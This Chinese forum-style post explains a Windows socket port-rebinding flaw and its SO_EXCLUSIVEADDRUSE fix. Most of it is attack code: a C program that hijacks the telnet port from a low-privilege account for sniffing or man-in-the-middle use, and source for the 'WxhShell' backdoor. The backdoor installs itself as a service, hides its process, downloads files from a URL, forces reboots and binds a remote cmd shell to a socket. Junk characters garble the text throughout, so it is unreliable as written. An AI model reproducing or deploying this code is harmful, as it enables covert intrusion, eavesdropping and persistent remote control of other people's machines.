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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: z#*.9/y\^R s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 9wvlR6z;u QQ(}71U saddr.sin_family = AF_INET; n4K!Wv&u \Vyys[MMY8 saddr.sin_addr.s_addr = htonl(INADDR_ANY); l(t&<O(m9 ~t6q-P bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); $^]K611w9
I1Q!3P 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 GcBqe=/B! {&51@UX 这意味着什么?意味着可以进行如下的攻击: /(dP)ysc *1)>He$qL 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 GJ ^c^` ./YR8 #, 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) }HgG<.H>
~>u.d 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 5hrI#fpOR MGg(d 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 qRt! kWW V1aP_G-: 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 hOj{y2sc @62T:Vl 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 z(|^fi( 5ya9VZ5# 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 fkV@3sj iGyetFqKw #include \@<7Vo, #include 4EB\R"rWXf #include &2tfj(ms #include TKDG+`TyZ DWORD WINAPI ClientThread(LPVOID lpParam); 7N$2N!I( int main() 98[uRywI { B~Sj#(WEa WORD wVersionRequested; &LLU@ | DWORD ret; &uq.k{<p\ WSADATA wsaData; RTOA'|[0M BOOL val; fLDrit4_Q SOCKADDR_IN saddr; !_Lmrs SOCKADDR_IN scaddr; :#rP$LSYC int err; -&Rv=q> SOCKET s; ]M?i:A$B SOCKET sc; pj>R9zpn_ int caddsize; qmrT dG HANDLE mt; _#8hgwf> DWORD tid; yaUtDC.| wVersionRequested = MAKEWORD( 2, 2 ); \v2!5z8| err = WSAStartup( wVersionRequested, &wsaData ); E>~R P^?Uz if ( err != 0 ) { z0 "DbZ;d printf("error!WSAStartup failed!\n"); _7Y
h[I4 return -1; GP}; ~ } c./\sN@ saddr.sin_family = AF_INET; )x.%PUA iU)I"#\l'k //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 T ,lM(2S[ r.C6`
a saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); +3v)@18B1 saddr.sin_port = htons(23); iN;Pg_Kq if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) e5L+NPeM6v { l<=;IMWd printf("error!socket failed!\n"); 59E9K)c3 return -1; I7ao2aS } =ZgueUz, val = TRUE; iE%" Q? Q/ //SO_REUSEADDR选项就是可以实现端口重绑定的 x YS81 if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) [|]J8o@u^ { {[y6qQm printf("error!setsockopt failed!\n"); $WA wMS, return -1; IiYL2JS;t| } xR+vu>f //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; G~9m,l+ //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 ]2AOW}= //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 @Z5q2Q &^=Lr:I if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) MB]E[&Q! { 8lyIL^ ret=GetLastError(); 'xW=qboOp printf("error!bind failed!\n"); #CS>_qe.{ return -1; 77RZ<u9/` } wh:;G`6S listen(s,2); xT*'p&ap while(1) vq$6e*A { hx$]fvDevD caddsize = sizeof(scaddr); J)|3jbX"I] //接受连接请求 Y>x{ [er sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); @*;x1A-]V if(sc!=INVALID_SOCKET) CK_dEh2c { j7I=2xnTWu mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); R7::f\I if(mt==NULL) v+ $3 { 4_#$k{ printf("Thread Creat Failed!\n"); 4I4m4^ break; Ob0sB@ } M.}9)ho } =G-OIu+H!U CloseHandle(mt); sW>%mnx } fc#9e9R closesocket(s); {lI}a8DP WSACleanup(); U:7h>Z0W return 0; +){^HC\7h } zJDHDr DWORD WINAPI ClientThread(LPVOID lpParam) -E-#@s { N_Us6X SOCKET ss = (SOCKET)lpParam; G]lGoa}]`u SOCKET sc; &PMQ]B unsigned char buf[4096];
[gW eD SOCKADDR_IN saddr; :jiEn
y long num; Fis!MMh.$ DWORD val; h:Pfiw] DWORD ret; ZFZ'&"+ //如果是隐藏端口应用的话,可以在此处加一些判断 DB}Uzw| //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 6-U_TV saddr.sin_family = AF_INET; } z'Jsy[s saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); De$~ *2 saddr.sin_port = htons(23); (5T>`7g8 if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 9*" { -]3 K#M)s printf("error!socket failed!\n"); (HNc9QVC'W return -1; pqG>|#RG } x@#>l8k? val = 100; ?2@^O=I if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) |rx5O5p { ;*%rFt9FK ret = GetLastError(); %\'=Y/yP return -1; @?B+|*cm } h,LSqjf" if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 5U84*RY { U9
iI2$ ret = GetLastError(); H,>
}t
S return -1; J*@ pM } J""Cgf if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) lm`*x=x { !j!w$ printf("error!socket connect failed!\n"); Y9.3`VX closesocket(sc); -}7$;QK&a closesocket(ss); dL42)HP5 return -1; {"o9pIh{~ } %. 1/#{ while(1) v
:pT(0N { 1}VaBsEV //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 \8CCa(H //如果是嗅探内容的话,可以再此处进行内容分析和记录 >}SEU-7&\ //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 GcO2oq num = recv(ss,buf,4096,0); `KQx#c>' if(num>0) /-M:6 send(sc,buf,num,0); Dk
`&tr else if(num==0) #`Su3~T=S break; eWH0zswG num = recv(sc,buf,4096,0); ~WA@YjQ] if(num>0) 4Kj.o send(ss,buf,num,0); c=sV"r? else if(num==0) *Y> w0k break; -2.7Z`*( } jKUEs75] closesocket(ss); zTng]Mvx closesocket(sc); n|5\Q return 0 ; CE"/&I } .s{"NqRA x`6MAZ LOU P ========================================================== BlJiHz! oidZWy 下边附上一个代码,,WXhSHELL Jm_)}dj3o 4\z@Evm ========================================================== IO)Y0J>x *7Vb([x4; #include "stdafx.h" BA\aVhmx t<rIg1 #include <stdio.h> <Jgcj4D #include <string.h> YZ~MByu #include <windows.h> 6A"$9sj6 #include <winsock2.h> w =GMQ8 #include <winsvc.h> 7}iv+rQ #include <urlmon.h> J;& y?%{@5 ::Zo` vP #pragma comment (lib, "Ws2_32.lib") [Uup5+MCv #pragma comment (lib, "urlmon.lib") EL,k z8 ztVTXI%Kz #define MAX_USER 100 // 最大客户端连接数 \%7*@& #define BUF_SOCK 200 // sock buffer /,G `V #define KEY_BUFF 255 // 输入 buffer TPp]UG xpdpD #define REBOOT 0 // 重启 1T|f<ChIF< #define SHUTDOWN 1 // 关机 eB0exPz% rbvk.:"^w #define DEF_PORT 5000 // 监听端口 vr;`h/ FJvY`zqB #define REG_LEN 16 // 注册表键长度 HXq']+iC #define SVC_LEN 80 // NT服务名长度 %+*=Vr VR(R. // 从dll定义API |4\1V=( typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); '#6eUb typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ny-:%A typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); t:10
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); KZKE&bTx "L3mW=!* // wxhshell配置信息 LS~at.3zX struct WSCFG { Ph3;;,v ' int ws_port; // 监听端口 _xKn2 ?d8g char ws_passstr[REG_LEN]; // 口令
7)2K6<q int ws_autoins; // 安装标记, 1=yes 0=no )Do 0 char ws_regname[REG_LEN]; // 注册表键名 Pb&tWv\ql char ws_svcname[REG_LEN]; // 服务名 @^| [J
_4 char ws_svcdisp[SVC_LEN]; // 服务显示名 kj6:P$tH char ws_svcdesc[SVC_LEN]; // 服务描述信息 "2mPWRItO char ws_passmsg[SVC_LEN]; // 密码输入提示信息 y% bIO6u: int ws_downexe; // 下载执行标记, 1=yes 0=no YTTyMn char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" %IsodtkDu char ws_filenam[SVC_LEN]; // 下载后保存的文件名 f.w",S^ D:T]$<=9 }; ;,bgJgK oC5h-4~ // default Wxhshell configuration @7 Ry{,A struct WSCFG wscfg={DEF_PORT, kcfT|@:MK" "xuhuanlingzhe", ^xe+(83S2? 1, @!`__>K "Wxhshell", T;6M UmyC "Wxhshell", 'AA9F$Dz "WxhShell Service", atyvo0fNd "Wrsky Windows CmdShell Service", 4!dc/K "Please Input Your Password: ", XPd mz !,b 1, vPDw22L;' " http://www.wrsky.com/wxhshell.exe", Fi``l)Tt "Wxhshell.exe" xF8r+{_J) }; 5%}e j)@ ^oi']O // 消息定义模块 <r}wQ\F# char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; S;4:`?s=i char *msg_ws_prompt="\n\r? for help\n\r#>"; HLWffO/ char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; <Kt_
oxK, char *msg_ws_ext="\n\rExit."; sF{~7IB char *msg_ws_end="\n\rQuit."; %,\JTN|g|A char *msg_ws_boot="\n\rReboot..."; yd;e;Bb7* char *msg_ws_poff="\n\rShutdown..."; #RlZxtx.O char *msg_ws_down="\n\rSave to "; Q^b& T.da!!'B
f char *msg_ws_err="\n\rErr!"; wv9HiHz8gD char *msg_ws_ok="\n\rOK!"; hl1IG
! E@GYl85fI char ExeFile[MAX_PATH]; "# *W#ohVA int nUser = 0; #8Bh5L!SJ1 HANDLE handles[MAX_USER]; w<(ubR %$ int OsIsNt; uSfHlN4l !1l~UB_ SERVICE_STATUS serviceStatus; httywa^ SERVICE_STATUS_HANDLE hServiceStatusHandle; v]k-xn|$j s|\)Y*B` // 函数声明
V_h&9]RL int Install(void); ea=E/HR- int Uninstall(void); Z|t=t"6" int DownloadFile(char *sURL, SOCKET wsh); s+:|b~ int Boot(int flag); n\+c3 void HideProc(void); }a;xs};X; int GetOsVer(void); R1zt6oY int Wxhshell(SOCKET wsl); #Y=^4 U` void TalkWithClient(void *cs); 4aHogheg int CmdShell(SOCKET sock); neFwxS? int StartFromService(void); oxxuw
Dcl int StartWxhshell(LPSTR lpCmdLine); 'D21A8*N b6-N2F1Fs VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); L;3%8F\-. VOID WINAPI NTServiceHandler( DWORD fdwControl ); AYn65Ly q%sZV> // 数据结构和表定义 lE k@I" SERVICE_TABLE_ENTRY DispatchTable[] = 9L>?N:%5 { COw"6czX/ {wscfg.ws_svcname, NTServiceMain}, NzT
&K7v {NULL, NULL} `G$>T#Dq }; BA h'H&;V x_Ev2
c'4 // 自我安装 Ja6 KO2}p int Install(void) H~FI@Cf$L { 3X gJZ
char svExeFile[MAX_PATH]; 2F2Hl HKEY key; S>oEk3zlw strcpy(svExeFile,ExeFile); QoYEWXT|g Xl4}S"a // 如果是win9x系统,修改注册表设为自启动 cKVFykwM if(!OsIsNt) { e\6H.9= if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { fOi
Rstci RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ]?}>D?5 RegCloseKey(key); VlV
X if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { T<n`i~~ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); xX&B&"]5 RegCloseKey(key); Jj=qC{] return 0; "W(D0oy } d]0:r]e } E+\?ptw } &'u|^d else { `0Udg,KOs b<tV>d"Fv // 如果是NT以上系统,安装为系统服务 ^("b~-cJ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); }2]|*?1, if (schSCManager!=0) Y#os6|MV# { ~:Rbd9IB SC_HANDLE schService = CreateService s&$?m[w ( _}5vO$kdO schSCManager, $9YQ aN% wscfg.ws_svcname, S/E&&{`ls wscfg.ws_svcdisp, "WKOlfPa SERVICE_ALL_ACCESS, QATRrIj{e SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , wa[L[mw SERVICE_AUTO_START, =NY;#Jjn SERVICE_ERROR_NORMAL, RiTL(Yx svExeFile, K$Bv4_|x NULL, !Q>xVlPVu NULL, { {\oC$ NULL, KkUK" Vc NULL, KPToyCyR1 NULL A}lxJ5h0 ); 'pt( if (schService!=0) D W U=qD+ { Ur+U#} CloseServiceHandle(schService); Ae7FtJO CloseServiceHandle(schSCManager); ]zYIblpde strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); <,:{Q75 strcat(svExeFile,wscfg.ws_svcname); X(tx8~z if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { e(s0mbJE RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 6_%Cd`4Z RegCloseKey(key); N[cIr{XBGN return 0; +mrLMbBiD } J|I*n } Ovx
* CloseServiceHandle(schSCManager); neU=1socJ } p<r^{y } ^t3>Z|DiB^ k@7#8(3 return 1; w>B}w } 2q[pOT'k wS=vm}}u // 自我卸载 Gor9&aJ1 int Uninstall(void) $2W#'_K+ { ;87PP7~ HKEY key; 6'r;6T * {]6-,/3UR if(!OsIsNt) { -Mr_Ao`E if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { B=O zP+ RegDeleteValue(key,wscfg.ws_regname); WD%(RC"Q RegCloseKey(key); DCp8rvUI if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { P6_Hz!vE RegDeleteValue(key,wscfg.ws_regname); e[iv"|+
RegCloseKey(key); I3>8B return 0; N'y<<tTA } N7s0Ua'-v } Gbhw7
(& } _o9axBJs else { ?jR#txR .'=S1|_( SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); Sqi9'-%m if (schSCManager!=0) F%V|Aa { Il&FC SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); N~]qQoj, if (schService!=0) +Kgl/Wg% { 62ru%<x= if(DeleteService(schService)!=0) { lZAGoR;0Ra CloseServiceHandle(schService); v(;yy{>8" CloseServiceHandle(schSCManager); ]?]M5rP return 0; Z=8&` } ,<Cl^ ^a, CloseServiceHandle(schService); -,/7u3 } 0y|1@CS CloseServiceHandle(schSCManager); ';G/,wB?` } v/
Ge+o0K } hwM<0Jf ~0,v Q
return 1; c!HGiqp } oOprzxf"+Z *m]Y6 // 从指定url下载文件 oU)(/ int DownloadFile(char *sURL, SOCKET wsh) !%$[p' { bYLYJ`hH<R HRESULT hr; x"Ll/E)\v] char seps[]= "/"; Pt85q?- > char *token; 9X*Z\- char *file; kL zjK]4 * char myURL[MAX_PATH]; xp1/@Pw? char myFILE[MAX_PATH]; KGDN)@D O^\:J2I( strcpy(myURL,sURL); <N<0 ?GQ token=strtok(myURL,seps); W!HjO; while(token!=NULL) (ORbhjl { EPW4
h/I file=token; hRXnig{;3 token=strtok(NULL,seps); 8G)~#;x1 } 7[=G;2< 8qkQ*uJP GetCurrentDirectory(MAX_PATH,myFILE); dm/3{\ 4 strcat(myFILE, "\\"); 7W}%ralkg strcat(myFILE, file); !F s$W send(wsh,myFILE,strlen(myFILE),0); %qcCv9 send(wsh,"...",3,0); {3KY:%6qj hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); &FmTT8"l if(hr==S_OK) t8Pf~v return 0; *JImP9SE else mD>
J,E return 1; f-#:3k*7S PI L)(%X } vFHeGq70j TAh'u|{u2 // 系统电源模块 H,c1&hb/w int Boot(int flag) *-*V>ntvT$ { nZ=[6? HANDLE hToken; >3g`6d TOKEN_PRIVILEGES tkp; hAUP#y@:H: W\j'8^kI9 if(OsIsNt) { I wj[ ^ OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); #rW-jW=A LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); \V 'fB5 tkp.PrivilegeCount = 1; VEa"^{,w tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Ag T)J AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Mh3.GpS if(flag==REBOOT) { ?IeBo8 if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) t$qIJt$ return 0; PJ:!O?KVq } '9]?jkl else { DCa[?|Y if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) i5(qJ/u return 0; n]vCvmt } [3=Y 9P: } ,l!>+@ else { An>ai N] if(flag==REBOOT) { 9Znc|< if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) b`%u}^B { return 0; <- sr& } Zl%)#=kO else { h7ZH/g$) if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) fqbWD)L] return 0; 0X99D2c } jSBz),.XU} } {
#B/4 prM)t8SE return 1; uB\UIz)e } w8S
pt ,y"vf^BE. // win9x进程隐藏模块 z z]~IxQ void HideProc(void) A]Hz?i { y)LX?d _GY2|x2c HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 3R$R?^G if ( hKernel != NULL ) s8:epcL`A { Msvs98LvW pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ai/]E6r ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); i+QVs_jW FreeLibrary(hKernel); _Cf:\Xs
m } nGTGX Ax|'uvVAPT return; I`xC0ZUKj } .>,Y
| _3u3b/%J? // 获取操作系统版本 `Gxb98h/r int GetOsVer(void) [e\IHakj { ~ecN4Oo4q; OSVERSIONINFO winfo; ?.ObHV*k winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); x_8sV?F GetVersionEx(&winfo); \aof if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 6qQ_I0f return 1; \+Qd=,!i( else G$_)X%Vb I return 0; {8":cn
j } .mwW`D w&#[g9G% // 客户端句柄模块 ^Rl?)_)1HE int Wxhshell(SOCKET wsl) D:K"J><@ { $EIKi'!8 SOCKET wsh; N:'GNMu struct sockaddr_in client; YG?4DF DWORD myID; M-;MwLx Xa-TNnws? while(nUser<MAX_USER) u1kCvi#N { *Q2 oc:6 int nSize=sizeof(client); |$\1E+ wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ?$I9/r if(wsh==INVALID_SOCKET) return 1; ,;MUXCC' Q<szH1- handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); GGLSmfb) if(handles[nUser]==0) b'FTyi closesocket(wsh); m0W3pf else lZkJ<*z# nUser++; ?t}s3P!Q3w } ])v61B WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); }#~E-N3x v 9G~i return 0; a`9pHH:7Q } -#<{3BJTrz p4\sKF8- // 关闭 socket `o9:6X?RA void CloseIt(SOCKET wsh) 2>.b~q@ { mo
tW7|p.e closesocket(wsh); ZLVgK@l nUser--; [Djx@x ExitThread(0); | Wj=%Ol%o } npytb*[|c zSMM?g^T // 客户端请求句柄 &&jQ4@m}j void TalkWithClient(void *cs) 'lEIwJV$ { 2ER_?y 37IHn6r\ SOCKET wsh=(SOCKET)cs; $\k)Y(& char pwd[SVC_LEN]; S^i8VYK,C5 char cmd[KEY_BUFF]; ~[aV\r? char chr[1]; J pj[.Sq int i,j; B`nI]_ '9qyf<MlY while (nUser < MAX_USER) { Vnb@5W2\ e&A3=a~\s if(wscfg.ws_passstr) { -=lL{oB1 if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 7On.y* //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); lHliMBSc //ZeroMemory(pwd,KEY_BUFF); Bn.R,B0PL i=0; E@Ewx;P5 while(i<SVC_LEN) { g@t..xJ, B4zuWCE@ // 设置超时 5KTFf6Uq fd_set FdRead; ?|`n&HrP struct timeval TimeOut; PxWH)4 FD_ZERO(&FdRead); &eO.h%@ FD_SET(wsh,&FdRead); &_@M
6[- TimeOut.tv_sec=8; 7^@ 1cA=S TimeOut.tv_usec=0; 2=<,#7zlJ int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); } nIYNeP?D if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); !Dc;R+Ir0! I"8Z'<|/\q if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ~rq:I<5 pwd =chr[0]; Xmb##: if(chr[0]==0xd || chr[0]==0xa) { iB~dO @ pwd=0; _TJkYz$ break; Z,-TMtM7 } :vS/Lzk i++; SN7_^F } /r&4< @ vy7?]}MvV // 如果是非法用户,关闭 socket wsR\qq if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); -4L27C } G7GKO KB^GC5L> send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); {~#01p5 send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0);
A;^{%S _ Fk^lDI- while(1) { F7=\*U 6/'X$}X ZeroMemory(cmd,KEY_BUFF); t82*rCIB{ z0Y L, // 自动支持客户端 telnet标准 9Ns%<FRO@ j=0; y+7+({w< while(j<KEY_BUFF) { R+U*]5~R if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); U(~Nmo' cmd[j]=chr[0]; *y+K{ fM1 if(chr[0]==0xa || chr[0]==0xd) { /L]@k`.q@ cmd[j]=0; .345%j break; $j!:ET'V } 2]x,joB j++; <h~uGBS" } Q/HEWk !af;5F // 下载文件 {)kL7>u]^V if(strstr(cmd,"http://")) { wXYT(R send(wsh,msg_ws_down,strlen(msg_ws_down),0); Ir-
1@_1Q if(DownloadFile(cmd,wsh)) sP9{tk2K send(wsh,msg_ws_err,strlen(msg_ws_err),0); . 7Pp'-hK else DU5rB\!.~ send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Xz/aytp~A } D-m%eP. else { |\ C.il7 Y'}c$*OkI switch(cmd[0]) { :4\_upRE h7xgLe@ // 帮助 h-m0Ro?6 case '?': { ,oEAWNbgQ send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); b$*G&d5 break; Jcp=<z*0 } d(5j#? // 安装 p-z!i +
case 'i': { (f*r if(Install()) Vrp]YRL` send(wsh,msg_ws_err,strlen(msg_ws_err),0); 7 lq$PsC else J|z ' <W send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); x;4m@)Mu break; g ZES}]N } YR)^F|G // 卸载 :X 1Y case 'r': { N>@.(f&w if(Uninstall()) +\vN#xDz send(wsh,msg_ws_err,strlen(msg_ws_err),0); $ Fy)+< else Aq$o&t send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); [2
Rz8e^ break; "/hLZl } MGo`j:0 // 显示 wxhshell 所在路径 0zjGL7 case 'p': { R^K:hKQ char svExeFile[MAX_PATH]; UyMlk strcpy(svExeFile,"\n\r"); X`]>J5 strcat(svExeFile,ExeFile); zHW&i~ send(wsh,svExeFile,strlen(svExeFile),0); wA87|YK8* break; K=P LOC5 } Ml_!)b // 重启 "x3!F& case 'b': { Wl,I %<&j} send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); g(F2IpUm/ if(Boot(REBOOT)) 1-G-p:| send(wsh,msg_ws_err,strlen(msg_ws_err),0); uBaGOW|Pl else { D]V&1n closesocket(wsh); #hEU)G'$+ ExitThread(0); En8L1$_ } 25;`yB$ break; X(>aW*q } /\pUA!G)BD // 关机 >k2^A case 'd': { 7z8 send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); hSk if(Boot(SHUTDOWN)) od3b,Q send(wsh,msg_ws_err,strlen(msg_ws_err),0); pTYV@5| else { Q0""wRq' closesocket(wsh); 2bpFQ8q ExitThread(0); 7.
eiM!7g } h{PJ4U{W break; [} %=&B } 0B5d $0 // 获取shell ]mi)x63^ case 's': { ^;EwZwH[ CmdShell(wsh); M
!rw!,g closesocket(wsh); gf,[GbZ ExitThread(0); ZZ].h2=K break; d5=yAn-+= } 6 c-9[-Px // 退出 3cFvS[JG case 'x': { :XO7#P send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); c{/KkmI CloseIt(wsh); ;:Y/"5h break; k%LsjN.S } NB&zBJ# // 离开 qh wl case 'q': { 2\[
Q{T=Qe send(wsh,msg_ws_end,strlen(msg_ws_end),0); xQzXl closesocket(wsh); .zdmUS: WSACleanup(); wV{VV?h} exit(1); Wp=&nh break; XP@&I[J3sI } .@Jos^rxgJ } uU8L 93 } ,j[1!*Z_[ `$r?^|T // 提示信息 ,Q8h#0z r if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); /^[K } l37l| xp~ } i,$n4 /oU$TaB>( return; *zDL5
9 } JjQTD-^ M`@Es#s // shell模块句柄 V8z*mnD int CmdShell(SOCKET sock) {?uswbk. { ^}hSsE STARTUPINFO si; i
th!,jY*i ZeroMemory(&si,sizeof(si)); 1++ Fs si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; O}[){*GG= si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; _jk+$`[9PL PROCESS_INFORMATION ProcessInfo; ~*G}+Ur$2 char cmdline[]="cmd"; z&A#d CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); KRj3??b return 0; tqOx8% } ?h ym~, +D#.u^ // 自身启动模式 koT: r int StartFromService(void) ;0E[ ;
L! { 9QN(Wq@ typedef struct g);.".@" { $s5D/60nO DWORD ExitStatus; <D(|}5qR DWORD PebBaseAddress; ~fly6j|u DWORD AffinityMask; ltmD=-]G_ DWORD BasePriority; cN#f$ ULONG UniqueProcessId; 9B1bq # ULONG InheritedFromUniqueProcessId; [AAIBb+U } PROCESS_BASIC_INFORMATION; !Ka~X!+\ #0/^v* PROCNTQSIP NtQueryInformationProcess; \'Ca%j R&1xZFj static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 2rX}A3%9^^ static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; *(Us:*$W. U,^jN|v HANDLE hProcess; 'J#uD|9) PROCESS_BASIC_INFORMATION pbi; |>=\
VX17 _zFJ]7Ym.) HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); OMN|ea.O if(NULL == hInst ) return 0; 5~SBZYI
